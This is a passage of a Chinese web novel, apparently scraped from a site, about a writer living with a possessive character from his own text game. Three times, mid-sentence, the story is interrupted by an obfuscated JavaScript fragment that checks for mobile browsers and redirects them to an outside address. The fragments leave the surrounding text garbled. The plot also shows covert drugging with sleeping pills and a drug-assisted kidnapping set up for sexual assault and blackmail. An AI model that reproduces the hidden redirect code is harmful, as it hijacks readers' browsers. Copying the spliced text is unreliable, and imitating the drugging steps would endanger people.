先前推不开的门被邬言辞一握就打开了,就好像从来没上过锁一般。 许然说:“等等。” 他给邬言辞戴上了鸭舌帽和口罩。许然想,这样应该就没有读者能认出来他了吧。 邬言辞任他摆布,听话得很,也不问缘由,许然对他的乖巧很是受用,终于放心地出门。 许然领着邬言辞去了小区附近比较大的超市,想着把少掉的生活用品补齐,可是他千算万算却没算到邬言辞一出门就要牵着许然的手,说什么都不撒手。 两个大男人手牵手逛超市什么的也太奇怪了吧。 邬言辞却说:“奇怪吗?情侣不都应该是这样的吗?” 许然一时哑然,不知道如何解释,但转念一想,他有什么必要和对方解释,他只不过是自己笔下的一个产物罢了,于是道:“总之你不能在公共场合和我太亲密,否则……” 否则什么呢?他好像没有什么可以要挟邬言辞的。 他皱了皱眉,又很快舒展开来:“否则今天的晚安吻取消,我也不和你一起睡了。” “……今天还有晚安吻!?”邬言辞藏不住嘴角的笑意,立即松开了手,颤抖着卷翘的睫毛道,“那好吧,小然要说话算话哦。” 终于把他哄好了。许然松了口气。 既然家里有个会做饭的,他就不用买那么多速食,也不用点外卖了,对着邬言辞略点了一下头,邬言辞便知道了许然的意思,开心地去挑了许多菜和配料在购物车里。 在邬言辞挑东西的时候,有人撞到了一下许然,邬言辞就跟背后长了眼睛似的,眼神如寒冰般扫过许然被碰过的肩膀,然后拿纸巾在被他人碰过的肩膀上面擦了几下,就好像被什么脏东西碰过一般。 眼见邬言辞还想去找那个碰到许然的人,许然赶紧拉住,对他摇了摇头,邬言辞犹豫了一下,才瘪嘴道:“我们小然这么干净,他们脏死了,我不想要他们碰到你。” 许然软声道:“我会注意的。” 邬言辞在看到周围确实没有其他人之后,才继续挑菜品。 而许然的手心却被塞入了一张纸条。 上面写着:我知道你身边的人是谁,明晚十二点超市门口见。 许然将纸条偷偷收起来,不想被邬言辞发现。 他已经把邬言辞伪装起来了,这还是他带着邬言辞第一次出门,就被发现了吗? 对方是谁,他为什么会知道邬言辞,又为什么要和自己见面,他的目的是什么? 许然脑中有许多疑问,但是却不能说出口,邬言辞好像看出许然了许然的沉默,不动声色地观察着许然,忽然说了一句:“小然,你怎么心不在焉的呀?不喜欢和我出来逛吗?” “没有,只是有点累了,想早点回去休息。” “哦……”邬言辞应了一声,似有所感,忽然捉住许然的手,“不是别人偷偷和小然说了什么让你不高兴的话就行。” 许然陡然一惊,幸好刚才他已经把手里的纸条扔掉了,不然邬言辞这一碰估计就发现了有人给他传纸条,按理来说这种事情告诉邬言辞也没关系,但是按照他的性子,肯定不愿意自己出门,说不定还会跟着自己,那他的身份就更会暴露了。 邬言辞可不是一个可以暴露在大众视野里的家伙,许然都已经能够想象到一个文游里面的角色走到现实生活中给他人带来的震惊,到时候自己也不会有安宁的日子过的。 “哪有别人,我身边不是一直只有你吗?”许然装出一副无所谓的样子。 邬言辞眯着眼在周围扫视了一圈,好在,他似乎没有找到刚才撞许然的人,于是他把捉住许然的手换成了十指相交:“那好吧,我挑完啦。” 许然已经没有心思去在意邬言辞越界的举动,邬言辞总给他一种好像什么都知道的感觉,这让他又觉得邬言辞或许不如他想象的可以掌控。 付款的时候,许然看到两盒没见过的东西,拿起来一看却发现是某个避孕套牌子,一下跟烫手似的扔了回去。 看到邬言辞无辜的眼神,许然就知道是他趁自己不注意的时候扔进去的了。 许然气得牙痒痒,别过头遮住了快要熟透的脸,咬牙道:“不准拿。” 邬言辞还想说什么,被许然在底下拧了一下,终于闭嘴了,许然真怕邬言辞一张口就是一些惊世骇俗的话,那他怕是都没脸出这个超市了。 离开超市后,邬言辞又贴在许然身上,整个人环着他,软声道:“万一哪天能用上呢,小然真的不买吗?” 许然很想说这辈子都用不上,他把邬言辞从身上撕下来,没有理他,回了家就要把东西都收拾整理好放进冰箱。 邬言辞把东西从许然手里抢过,说:“等下我会收拾,你不是累了吗?早点休息吧小然。” 他爱干活让他干,许然乐得清闲,回了卧室打算休息,刚坐下没多久,就看到邬言辞在卧室门口半遮半掩,垂着眼帘,漂亮的唇瓣动了动,“小然……说好的晚安吻……” 许然愣了一下,才想起来,好像确实有这么一回事。难怪邬言辞要抢着把东西收拾好。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405356|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 邬言辞见许然不回答,慢慢走过来,葱白的手指放在许然的后脑,有一下没一下地轻轻按着,额头贴着许然的,黝黑的眸里只有许然一个人,声音带了点撒娇的味道:“不许耍赖。” 许然反应过来,有点好笑道:“不耍赖,你闭眼。” 邬言辞听到回答,紧张地睫毛都在不停颤动,就好像展翅欲飞的蝴蝶,另一只手更是死死与许然的手指交缠,好像只要等许然一吻上去,就会将他定死在自己的怀抱里,再也出不来。 可是想象中的触感并没有出现。 一个轻柔的吻落在了额头。 邬言辞有些茫然地睁开眼,就见许然似笑非笑:“答应你的晚安吻。” “……说好的不准耍赖!”邬言辞瞪着清澈的眸,手指越发用力,像是在忍耐什么,慢慢放缓语气,“小然,亲一下,就亲一下……” 许然觉得好笑,一个没有任何意义的吻,居然让邬言辞惦记了一整天都忘不掉,骨子里的恶劣属性被邬言辞逼出来,他就像是吊着一块鲜嫩肥美的肉在小狗面前,让他垂涎欲滴,却在每次对方要咬到的时候又将肉吊起来,勾的对面想吃又吃不到,急吼吼的,多好玩呀。 许然故意靠近邬言辞,勾着邬言辞的下巴,逼得对方喘息连连,红着眼看着自己,然后说:“那你再闭眼,乖。” 邬言辞有些不情愿,但还是慢慢阖上了眼。 这次唇上有了触感,却一触即分。 是许然用两根手指头在邬言辞唇上贴了一下,然后迅速退开,靠在抱枕上看邬言辞再次被戏耍的样子,露出了笑意。 他又一次戏耍了邬言辞。 可是许然好像没有意识到,把小狗逼急了也是会咬人的,更何况在他面前的只是一个藏起利爪的,装乖的坏家伙,于是邬言辞眯着眼,舔了舔自己的虎牙,慢慢地,一点一点地爬到许然面前,他抬起那张艳丽的,不可一世的脸,上面没有任何表情,似乎只是在思考从哪里下手,所以瞳孔稍稍停止了一瞬。 “你……”话还没说出口,邬言辞就已经将他按在身下,疯狂地想要亲吻身下的人。 许然被扑倒后猛地反应过来,开始不断挣扎,于是吻落在了颈侧,脸颊,鼻尖,唇角,他的衣服被扯的乱七八糟,露出了平坦的小腹,他用手挡在唇前,不可置信道:“邬言辞,你发什么疯?” 邬言辞的声音有种平静的疯感:“我没有发疯呀,我只是想离小然近一点,再近一点,最好是融合在一起,这样我们就再也不会分开了。” 说完,他又要低头去吻,许然的手挡在中间,他亲不到,就转而伸出舌头在许然的掌心舔舐,舌尖在掌心画圈,眼神暧昧勾丝,简直跟勾栏里的小馆一样放荡。 许然实在受不了,用尽力气把他推开,坐在邬言辞的胯上,脸色不善,刚要说点什么,就感觉到邬言辞在他身下顶了一下。 邬言辞眨着眼:“小然想要在上面也可以哦。” 妈的。 他写的是病娇吗。 怎么会这么骚。 12. 情书 “下去,今天晚上不准在我床上睡。”许然命令道。 邬言辞的瞳孔微微放大,像是听到了什么不可置信的事情:“宝宝,你不喜欢我了吗?为什么不让我和你一起睡?” “你不是说好以后都和我一起睡吗?为什么说不话不算数? “而且就连你曾答应给我的晚安吻都这么敷衍……” 邬言辞的动作就好像放慢了一般,他看起来很是委屈,一滴泪落在床单上,深浅不一的颜色很是刺眼,许然察觉到邬言辞的不对劲,不由得想后退一步,邬言辞捉住许然的手,不让他后退,颤声问:“小然,你是不是已经厌倦我了?” 许然:“?” 并没有厌倦,恰恰相反,他才刚开始对邬言辞感兴趣。 许然不知道邬言辞又犯什么毛病了,他没说什么重话吧。只是让他别和自己一起睡作为邬言辞胡作非为的小小惩罚罢了,他怎么能衍生出这么多的想法? 意识到邬言辞似乎马上就要崩溃,好像自己的一句话和一个动作在邬言辞眼里似乎都被放大了百万倍,他似乎……养了一个极其脆弱的又危险的宠物。 这就好比刺猬,只有许然才可以摸到他充满尖刺外皮下柔软的肚皮,外界稍一刺激,他就会竖起全身的刺防备外敌。 于是他尝试伸手,尝试去安抚面前这个小怪物,而邬言辞在看到许然开始动作之后,整个人都暂停了一般,似乎在等许然的动作。 许然慢慢将邬言辞抱住,他没有说话,就这样沉默地抱着他,然而就是这么一个简单的动作,就让刚刚快要全面崩线的邬言辞又忽然正常了下来,他回抱许然,好像要将其融入骨头里:“小然,我的小然……不可以不要我,不可以讨厌我,不可以让我远离你……” “再多抱我一会儿吧,宝宝”,邬言辞似乎在感知着什么,黑色的发丝遮住了他的眼睛,靠在许然肩膀上,声音委屈,嘴角却是上扬的,这使他看起来十分奇怪,但这个角度,许然是看不到的。 他缓慢地说:“小然身上好暖和,我可以感觉到你左胸膛的心脏在跳动,我们贴在一起,就好像我也有了心脏,而我的心脏正在为你而跳动--” 这话说的实在有些诡异,他一个怪物,哪来的心脏。 “别胡说八道了,”许然叹了口气,轻轻拍了拍邬言辞,“睡吧,我也累了,今天就不怪你了。” 今天就不怪你了--是自己没有把握好对邬言辞的尺度,下次,他会找到一个更合适的方法应对这个怪物,将奖励和惩罚介于一个更好的限度,一个不会让对方发疯,又恰好可以控制住对方的界线,许然想。 于是邬言辞安静了下来,抱着许然入睡。 等到许然睡着,邬言辞才坐了起来,他的眼睛闪烁着奇异的光芒,双手撑在许然上方,耳朵贴近许然的胸膛。 里面传来轻微的心脏跳动的声音。 这就是心脏,是维持许然生命的东西,如果他的心脏能为自己而剧烈跳动,会是件多么美好的事情。 可是在他用力拥抱许然的时候,许然的心跳并没有变快,为什么?不是说与爱的人做亲密的动作,心跳会加快吗? “骗子,你根本不爱我,”邬言辞的手在许然的脸庞滑过,似乎在描绘他的轮廓,嘴角缀着一缕笑,他像是在和许然做游戏一般,俏皮道,“我可以等小然的,但我没有那么多耐心,所以小然可一定要加油,早点爱上我呀。” 他的声音极轻,一下就消散在了夜晚的呢喃中。 -- 窗外没有阳光,密集的云遮住了太阳,使得一切有些阴沉沉的,走廊上不断有来来回回的学生在走动,一位扎着高马尾的女生拍了拍许然的肩膀,‘嘿’了一声,然后将一封信塞在了许然手中,眼含期翼道:“那这个就拜托你转交啦!” 说完便一溜烟跑了,边跑还边回头道:“等你好消息啊,许然。” 发生了什么?他刚闭上眼,怎么就出现在了这个地方? 而且看自己身上穿的,好像是校服吧? 许然看向手里女生递过来的信封,发现上面还带着刺鼻的香水味,他原想拆开看看刚才那个陌生女生给自己的信里是什么内容,熟悉的弹框就跳了出来。 --同班的女同学希望你可以帮忙把情书交给邬言辞,现在你需要完成这个任务。 原来是这样,他又进入了那个奇怪的梦境,也就是他所制作的文字游戏里。 可是这是她的情书,为什么要让自己转交,他根本没有设置这个情节吧?还是说自己写的剧情太多,记不清了。 许然已经站在原地有了好几分钟,弹幕似乎已经等不及了:如果您不继续任务,系统将代替您完成。 许然看到这句话,才勉强迈步往前走,被别人接代身体的滋味并不好受,而且他也不知道系统等会儿会拿他的身体干出什么惊世骇俗的事情出来。 他跟随指引走到了邬言辞所在教室的窗前,才明白那个女生为何不敢自己交情书过去,透过清透的玻璃窗,他看到邬言辞温柔地笑着对另一个女生说了句什么,然后就将情书撕掉,像是扔什么脏东西扔掉了它,还不忘拿出湿巾擦拭自己的手指。 许然不想过去,过去干什么,替那个女生被他羞辱吗?但是显然弹幕并不给他机会,它再次开始催促:检测到您一直未移动,是否需要代理。 许然选择了NO。 刚才被拒绝的女生哭着与他擦肩而过,凌冽的风带起了他的衣角和发丝,邬言辞的目光正好扫到他,表情有片刻凝滞。 “是你?” 许然踌躇了片刻,这个时候的邬言辞和自己不熟,他有些担心和邬言辞接触自己会不会有危险,不过想了想,这是在梦里,总不能因为在梦里死了然后现实里也死了吧。 就这样,许然安抚好了自己,一步一步向邬言辞走去。 这时候的邬言辞看着十六七岁的模样,眉眼更成熟了一些,他的漂亮随着年纪的增长不减反增,任谁都忍不住在他身上停留片刻。 “我记得你,”邬言辞微微侧身,似乎在仔细看许然的长相,他对许然很是好奇的样子,“上次之后就没见到你了,你去哪里了?” 许然哪能回答得出这个问题,难道他还能告诉对方自己的消失是因为梦醒了吗。 不过现在的邬言辞看起来还算正常,于是他没有回答这个问题,而是把手里那个信封交给邬言辞。 完成了这个任务,他就能从这里脱身了吧? 谁知道邬言辞没有第一时间接,而是看着这封信的样式发出了“咦”的一声:“情书?” 许然点了点头。 邬言辞:“你写的?” 许然:“……”什么脑回路,在邬言辞的记忆里,自己才和他第二次见面吧,写什么情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405357|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书。 可是许然无法解释,因为他的面前浮现了两个选项框。 A:沉默 B:承认 他就不能两个都不选吗?沉默和默认有什么区别? 这不是另一个女孩子给邬言辞写的吗。 许然已无力吐槽,想了想,还是选了A。 邬言辞见许然不说话,于是托着腮饶有兴趣道:“这么容易害羞,还要来当面给我送情书?” 邬言辞好感度+5 许然:“……” 说完,邬言辞才接过情书,他没有像对上一个女生那样将它撕的稀巴烂,就像拿到了一个好玩的玩具欣赏了一会儿,才拆开来。 刚看第一行字,邬言辞就抬眸问:“你叫谢萌?” 许然感觉头疼,哪有男生取这个名字:“不是。” 邬言辞兴致阑珊道:“那这不是你写的啊。” 许然在邬言辞接过情书后就可以畅所欲言了,这时候才终于可以反驳道:“当然不是。” 邬言辞‘哦’了一声,接下来的内容像是极其随意地瞥了一眼,然后第二张情书也被撕的粉碎,扔进了垃圾桶,他抬起眸,手指在桌面有规律地敲着,他问:“那你叫什么名字?” 许然正犹豫着要不要回答,教室外就传来一个男生的呼喊声:“许然?找你半天了!你怎么在这?” 那个男生大大咧咧喊着就要走进来,结果看见邬言辞在里面,又停住了脚步,眼神飘忽,出声道:“你们在忙的话我就先走了。” 许然问:“你找我有事?” 男生摇摇头道:“没事。” 但他一副犹豫的样子,明显是有什么话要说,于是许然对邬言辞低声说了句抱歉,便和男生走远了,反正他的任务也完成了 邬言辞平静地看着两人离去,若有所思低声道:“许然?” 走廊外,男生将许然拉到一个没有人的角落,低声道:“你怎么跑邬言辞班上了,你不是喜欢谢萌吗?谢萌让你帮忙送情书你还真送,笨不笨啊你。” 许然皱眉,他连那个女生的名字都不记得,应该只是文游里一个无关紧要NPC吧,怎么还有感情线?他都不知道主控会有一个曾经喜欢别人的设定。 他想了想,还是顺着男生的话说:“无所谓,反正他没答应。” 男生点点头,道了声“也是”,然后又冷哼一声:“放心,我也讨厌邬言辞,天天一副自恃清高的样子,看人跟看狗似的,还喜欢溜别人玩,这次轮到我们溜他了。” 许然没听懂,问:“什么意思?” “你是不是送情书把脑袋也送出去了,就是找人打邬言辞这件事啊,你不是讨厌他抢你喜欢的人吗?学校怕他的人多,但讨厌的人也很多,咱们花了点钱雇人,你懂的。” 这时候许然的面前又浮现了那个对话框。 邬言辞将在回家途中遭遇袭击,你需要帮他脱困,如果超时未完成,将视作攻略失败。 攻略失败?那他岂不是又得遭遇那钻心的疼痛。 这个提示刚出来,就出现了五分钟的倒计时,也就是说他必须立刻赶到邬言辞身边去。 正好这时候天上开始飘起小雨,许然猛地反应过来,将男同学抛在身后,无视了他的叫喊声,立刻往教室跑去,就看到教室里空无一人,邬言辞已经走了。 这下有点麻烦了。 13. 预谋 许然顺手拿走了教室里的一把伞,雨越来越大,地上的积水一踩上去就溅出形状不一的水滴,将他的裤脚全部打湿。 好在他跟着任务指引跑了大概四分钟就到了一个巷子里,还差最后十多秒任务倒计时就要结束了。 邬言辞单肩背着挎包,脸上神色不明,慢悠悠走在小巷里,他今天看起来尤其安静,这种危机感发生的前奏让许然有些不安。 “邬言辞,别往前走了!”许然刚跑过来,气喘吁吁地扶着墙,冲着前面的人影道。 邬言辞转过身来,扯了扯嘴角:“你似乎说晚了。” 许然一回头,就发现身后已经跟了数个小混混,往前的路也被另一波人给围住,这里大约有七个人。 二打七,肯定没有胜算的。更何况邬言辞在这个梦里的世界只是一个正常的人,不是外面那个小怪物。 两边的人慢慢靠近,许然犹豫片刻,要帮邬言辞吗?能打过吗?他不想做赔本买卖。 邬言辞也正好在此刻开口,他眼底情绪晦暗不明,轻声道:“他们来了,你要帮我,还是帮他们呢?” “算了,我不用你的答案。”邬言辞不知出于什么原因又说。 已经有人冲上来,邬言辞拿包砸在一个人身上,又把另一个人狠狠砸在墙上,那个人发出痛苦的呼声,邬言辞微笑着,像发疯一样把那个人往墙上砸,流出的血浸染了墙壁,吓的其他人一时不敢上前。 邬言辞捡起其中一个人掉在地上的棍棒,仰着头,手上的血有一些蹭到了脸上,使他看起来像一个冷静的疯子,他缓缓开口:“还有谁要来?” 这样单纯用暴力解决问题的邬言辞他并没有见过。许然不禁想,如果在自己小时候被欺负的时候,他也能像邬言辞邬言辞这般反抗,是不是结局就会好很多。 并没有给许然太多回忆的时间,剩下几个人对视一眼,就打算一起冲上来。 邬言辞踢在对方的腿弯,把人扳倒,然后又一棍子接着一棍子,眼神冷漠且机械,唇角还挂着若有若无的笑意,他也受了伤,但他就像感觉不到痛一样,把下一个人的手臂勾住,然后向反方向曲折,顿时那人就发出了惨叫声,骨头“咯吱”“咯吱”地响,听起来像是错位了。 有人在他身后要偷袭,许然趁机捡起了地上的棍子,在对方的棍子敲在邬言辞头上前先一步敲了过去。那人不可置信地回头,然后缓缓倒下。 许然扶了一下眼镜,看着地上四仰八躺的人,心里却有一丝丝痛快。 不愧是他的小怪物,真能打。 雨下的愈发的大,冲刷掉了地面上的少许血迹。 许然隔着雨雾,看到邬言辞的额头有个伤口还在流血,默默把一开始扔在巷子口的伞捡了回来,遮在了邬言辞上方。 一片阴影覆盖下来,邬言辞黝黑的眸看着他,就像是一个深渊的魔鬼正在凝视着面前的人类。 许然解释道:“伤口淋了雨,会痛。” 他淋过,所以他知道。 邬言辞像是愣了一下,才缓缓道:“你是第一个和我说淋雨伤口会疼的人,” “我以为你不会帮我,” “为什么要帮我呢?这是第二次。” 如果没有这该死的梦境绑定,许然其实也不一定会帮他,所以他只是说:“没有为什么。” 邬言辞像是有些苦恼地叹了口气:“可是这里的天气很不好,经常下雨,如果你不在,我还是会被淋湿。” “以后下雨,你还会出现在我身边吗?” 许然察觉到邬言辞话里有话,是想问他:以后他遇到危险,自己还会来解救他吗? 说实话,许然也不确定,但是看到邬言辞这个样子,又觉得他像个狼狈的落水小狗。 偶尔给小狗一点期盼也不是不可以,于是他说:“会吧。” 邬言辞温柔地笑了起来,他站起来,用带血的手轻轻抚弄许然被淋湿的头发,然后轻声说:“那好吧,我原谅你啦。” 许然没动,眼中带着疑惑。 原谅?这个词怎么会放在他身上。他做了什么事情需要被原谅,他又有什么资格原谅自己? 邬言辞见他疑惑,凑近许然的耳旁,就像是说悄悄话一般俏皮可爱:“其实我知道,今天会有这些人来……有你的原因在哦。” 许然顿时感到全身血液一凉,他一思索便知道邬言辞是在指什么了。那个男生在走廊和他说过,他们很大一部分原因是为了给“自己”出气才有了这次斗殴。 他僵硬地抬起头看邬言辞带着笑意的脸,就见邬言辞一字一顿道:“你猜我为什么不坐车,非要走这条小巷子?” 许然想说你是怎么知道这件事情的,他眼珠一转,又联系到了谢萌让许然帮忙送的那份情书。 “他”喜欢谢萌,谢萌喜欢邬言辞,有没有可能,是主控在之前把这件事透露给过谢萌,于是她透露给了邬言辞? 是通过那封邬言辞瞥了一眼的情书吗? “对哦,就是你想的那样,”邬言辞接过许然的伞,弯眸笑道,“我很喜欢和你做游戏呢,你很聪明,也是真的很讨我欢心,只是下次不要再玩失踪啦。” “不然,无论天涯海角,我都会把你找出来的哦。” 邬言辞好感度+20 -- “小然,起床啦。” 许然醒来,就见邬言辞正蹭着自己的脸颊,贴着自己说话。 许然下意识一惊,把邬言辞推开,梦境里的邬言辞总是和现实的邬言辞反差很大,让他有些一时反应不过来,在刚才的梦境里,邬言辞就像是游戏的掌控者,自愿走入他们布置的陷阱里,只为戏弄他们,然后再站在高处冷嘲,演技一绝。 那么现实世界的邬言辞,是否也只是一个装乖的宠物,撕开他的外皮,内里依旧恶毒冰冷,他所说的爱,又是真的吗? 一个怪物,懂什么爱。 明明知道自己可能是犯了什么病,又或者是陷入到了某种规则怪谈当中,才会导致一直做一个连续的,诡异的梦,但他还是忍不住把情绪迁移到现实中来,对邬言辞有一丝丝怨气。 邬言辞被推开也没有生气,反而兴致冲冲道:“小然,不要赖床啦,都快中午啦,今天我尝试了新的早餐种类,你都还没尝尝呢。” 说完,他便推着许然去浴室洗漱,见许然还有些恍惚,便笑吟吟道:“小然这么爱赖床的话,以后小然多睡会儿,我来给小然换衣服和洗漱好不好?” 许然面无表情地按住邬言辞往衣服下摆伸进去的手,揉了揉太阳穴:“不需要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405358|168752||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 邬言辞瘪了瘪嘴,有些失望道:“好吧。” 说是早饭其实已经算是午饭了,不知道邬言辞是多早起床的,他做了一桌美食,蛋卷,虾滑培根卷,薏米银耳羹,鸡蛋清汤面…… 看上去似乎比上次的更复杂,种类也更多,味道更是更是没得说,怎么自己就没有这种做菜的天赋。 下午邬言辞又赖着许然要看爱情电影,不过这次倒是没有跑偏主题,看的不再是那种动□□情片。 许然想着昨天出门在超市拿到的纸条,心思根本没放在电影上,他有种预感,告诉邬言辞,他是不会让自己出去的,所以自己该怎么支开邬言辞这个牛皮糖一样的家伙呢? 许然想起房间抽屉里的安眠药,心里有了主意,看着时间差不多,便对靠在自己肩膀上的邬言辞说:“我饿了,去做饭吧。” 邬言辞马上坐了起来,似乎对许然爱吃自己做的饭而感到开心:“好哦,那小然等我一会儿。” 趁邬言辞去厨房忙活的时间,许然回到房间将安眠药拿出几粒,再碾碎放进牛奶里拌匀,同时拿出了之前放在客房的安神香,将其点燃放在自己房间。 只是这安神香看起来质量不太好,似乎会挥发掉,不然怎么比之前短了一截。 许然没时间细想,和邬言辞用过饭便端着那杯牛奶给邬言辞喝下,他淡笑道:“谢谢你一直为我准备饭菜,牛奶有益睡眠,还是冷的,我加了点糖,你尝尝。” 邬言辞捂住脸颊:“真没想到,小然还记得我不太能喝热的东西,谢谢小然……” 说完,他便接过许然给他倒的牛奶,像是喝什么很珍贵的琼枝甘露般,一点不剩。 许然看着他喝完,心下松了口气,然后便催他回房间睡觉。 邬言辞说:“可是碗筷还没收拾。” “没事,晚一些我来收。”许然把邬言辞按在床上,又担心他和之前一样不睡觉,于是陪着他在床上坐着,拿出来一本书假意阅读。 也不知道安眠药对他能不能起作用。许然想着,翻过一页书。 还好,在房间里的安神香对许然起作用前,邬言辞先睡着了,许然在他面前挥舞了两下手,又尝试着叫了几声邬言辞的名字,确定他没醒来,才起身走人。 超市的路有点远,但现在距离约定时间还有很久,所以他可以慢慢走过去,他不断地想,到底是谁会知道邬言辞,真的会是读者吗? 邬言辞除了自己,有见过其他人吗? 身后传来“沙沙”声,许然往后看去,发现只是路边的树叶被风吹的晃动了几下,可是他却莫名觉得身后有谁正在注视这自己,明明路上只有几个行人稀稀拉拉走在路上,行色匆匆。 这种感觉始终没有消散,直到他到达超市门口。 许然戴上了卫衣的帽子,遮住了自己大半的面容,已经快到晚上十二点,超市门口几乎没什么人,所以他一眼就锁定了那个黑衣黑帽的身影,对方冲他点点头,然后就往阴暗处走。 看来就是他了。对方的意思大概是要去一个隐蔽一点的地方谈。 许然不近不远地跟在他身后,他倒是要看看对方要做什么。等到了拐角处,对方才停了下来,对方一停下来,许然也停了下来,始终保持着一个安全距离。 14. 药剂 对方也并不介意,转过身来,容貌还算清秀。许然仔细看了看对方的面孔,确定自己不认识,才谨慎道:“你找我,到底是什么事?” 男生上下打量了许然几眼,有些轻浮地吹了声口哨:“你身边那个男的是你男朋友吧,你是同性恋?咱们都是一样的。” 什么啊,搞得他紧张了半天,原来就是一个骚扰别人的流氓。 许然冷下声,打算转身就走:“是又怎么样,关你什么事。” “先别走。” 许然不耐烦道:“干什么?” “就是想问问你,要不要考虑考虑和我在一起?” 许然觉得这人可能精神有什么毛病,不然也不会对陌生人问出这样的话,根本不会在超市给他传什么莫名其妙的纸条,暗骂了句神经病就要走人。 但是许然还没动作,手臂就传来一阵刺痛感感,是一根针管插了进去。 有人在刚刚他走神的时候靠近了他,将液体注入了许然的体内,让他一瞬间失去了力气,许然一回头,就看到许昌站在他身旁,刘丽娜则在许昌的身后。 他被扶住,口鼻却被手帕捂着,防止他发出叫声。 刘丽娜犹豫地问:“真的要这样做吗?万一他对象又来报复怎么办?” 许昌恨铁不成钢道:“优柔寡断,我确定了他今天是一个人来的,这小子果然不希望自己的名声被传坏,所以单独来谈判了,他对象不在。况且如果不从他身上捞钱,我们哪来的钱还债,还没被臭小子的对象搞死先被催债的搞死了!” 许昌笑了几声,然后又说:“拿几张床.照威胁这小子可以捞到钱,再拿照片发给他对象,他对象还会要他吗?哪里会管到我们身上?” 刘丽娜点点头,终于放下心来:“还是老公想的周到。不过这样会不会不太好……” “都不知道和别人玩过多少次了,你担心这个干嘛,况且我们生的,他再怎么样难道还能大义灭亲不成?” “也是。” 男生这时候慢慢走了过来,从许昌手中接过了许然,乐哉道:“那我走了,你们要的东西后面发给你们。” 原来是他们。 邬言辞只见过两个人,那就是他的父母。 他们俩真是想钱想疯了,两个恶魔,披着人皮的魔鬼。许然感觉胃里翻江倒海地想吐,但是又吐不出东西,大脑有些嗡嗡的,亏他还以为是邬言辞的事情暴露了,没想到……哈,就是这么一件事情。早知道就带邬言辞出门了。 可是现在后悔似乎有些来不及了,男生把许然的手搭在自己的肩膀上,路人看上去只会以为人家带了一个醉酒的人。 他有些急不可耐地把许然带到了附近的便捷酒店,一进门就把许然放到床上,然后摘下了许然有些遮挡容貌的眼镜,他看了片刻,发出了赞叹的声音:“长的很不错啊,我就知道我的眼光很好,即是戴着帽子和眼镜也能认出好胚子,他们就这么把你送给我了,还给我钱,这么好的事儿都能被我碰上。” 许然红着眼瞪着他,眸子里满是厌恶:“别碰我,恶心死了,煞笔。” 男生啧了一声:“死到临头还嘴硬呢。” “滚,”许然露出一个恶意的笑,“我跟你讲,你碰我,你会后悔的,邬……我朋友不会放过你的。” 他饲养的怪物占有欲那么强,许然几乎可以想象到第二天邬言辞看到他会发多大的疯,他一定会让这些人生不如死,如果面前这个人胆敢碰自己一根手指头。 “还朋友呢?男朋友吧?”男生说,“你没听到你那个畜牲父母说的话吗,到时候照片也给你男朋友发一份,你觉得他还会理你吗?” 见许然沉默,男生笑了笑,拿出了几小瓶东西扔在床上,“你可以看看喜欢哪个味道,等下可是要用在你身上的。” 扔下这句话,男生就进浴室冲澡了。 许然动了动手指,冷静地想,现在才过去十多分钟,他已经恢复了一点力气,看来许昌他们打的药剂根本没多大,也可能是他们花不起那么多钱买真药剂,里面掺水了。 这样攒起来的力气应该可以够他碰到床头的立体台灯,他就可以赶在男生出来时把灯砸过去,最好是把对方砸晕了最好。 有了计划,许然便开始努力实施,他绝不可能就这样任人鱼肉,他努力伸出手,每挪动一步都要花上巨大的力气,终于,他快要够到台灯了,他的手指甚至已经碰到了灯柱,但由于没有把握好平衡,许然一下从床上摔下来,头靠在了床头柜上。 卧室发出这么大的声响,浴室里的人被惊动,淋浴声停了一瞬,磨砂的门上隐约可以看到对方的身影,许然忍住疼痛,额头流下豆大的汗滴,好在这时候对方的手机响起了铃声,有人打电话过来了。 男生听到手机铃声后又将放在浴室门上的手收了回去,估计是以为刚才听错了。 许然的手紧张到有些发颤,他在摔了一跤后更加软绵无力,却靠着强大的意志力伸出手指握住了台灯的柄。 他死死盯着浴室的门,眼白有些许红血丝,脑中想着该怎样精准地将台灯敲在对方的脑袋上,余光瞥道床头柜的手机,上面有一个未接电话,还有一些未读短信。 另一只手也恢复了力气,于是他缓慢地挪动另一条手臂,划开了手机屏幕,入眼即是许昌和男生的聊天记录。 许昌似乎根本等不及,才过去多久,就已经一直在催促。 “好了没有?” “多拍点照片啊” “一定要露脸” “我可以加钱” “视频也可以拍点” 许然在心里啐了一口,将信息划掉,顺带把联系人也给删除了,想要他的照片,想的美。 同时,他的手不小心碰到了返回,瞬间一大堆照片映入眼帘,全都是各类男男女女的床.照,许然只看了一眼就辣眼睛。 